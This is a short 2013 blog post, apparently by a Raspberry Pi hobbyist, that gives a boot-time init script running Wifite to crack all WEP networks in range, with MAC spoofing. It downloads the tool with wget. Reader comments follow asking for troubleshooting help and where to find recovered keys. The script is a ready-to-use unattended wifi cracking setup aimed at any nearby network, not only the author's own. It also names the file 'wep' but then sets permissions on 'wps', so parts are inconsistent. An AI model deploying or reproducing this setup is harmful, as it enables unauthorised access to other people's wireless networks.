Thursday, 24 January 2013

Wifite Automated hacking WEP

My Little Automated Boot up Wep hack script



Download Wifite
 wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py && chmod +x wifite.py



Set up the boot service

nano /etc/init.d/wep

Copy and paste the below in:



# First configure the user you want to run this under - this will generally be root, unless you've created your own users
export USER='root'
eval cd ~$USER
# Check the state of the command - this'll either be start or stop 
case "$1" in
  start)
    # Start the wifi cracker
    su $USER -c '/root/wifite.py -wep -all -mac '
    echo "Starting wepcrack for $USER "
    ;;
  stop)
    # if it's stop, then just kill the process
    pkill wifite.py
    echo "cracking stopped"
    ;;
  *)
    echo "Usage: /etc/init.d/wep {start|stop}"
    exit 1
    ;;
esac
exit 0
Change the permissons:
chmod 755 /etc/init.d/wps

Add to start up
update-rc.d wps defaults

5 comments:

  1. I've tried your script but wifite is not starting can you help me

    ReplyDelete
    Replies
    1. Okay i got it working. One last question can i bring wifite to the front

      Delete
  2. Hey I'm using this on my WEP network with a new rpi, and a supported adaptor, but the arp relay attack rate is horrible with wifite! Even though im telling it to inject 600 a second, i can maybe get 1,000 in 10 minutes! Have you encountered this problem or similar before?

    ReplyDelete
  3. where i can find the key&pin after hacked?

    ReplyDelete

Amazon

Donate

Donate Towards More Raspberry PI's for Projects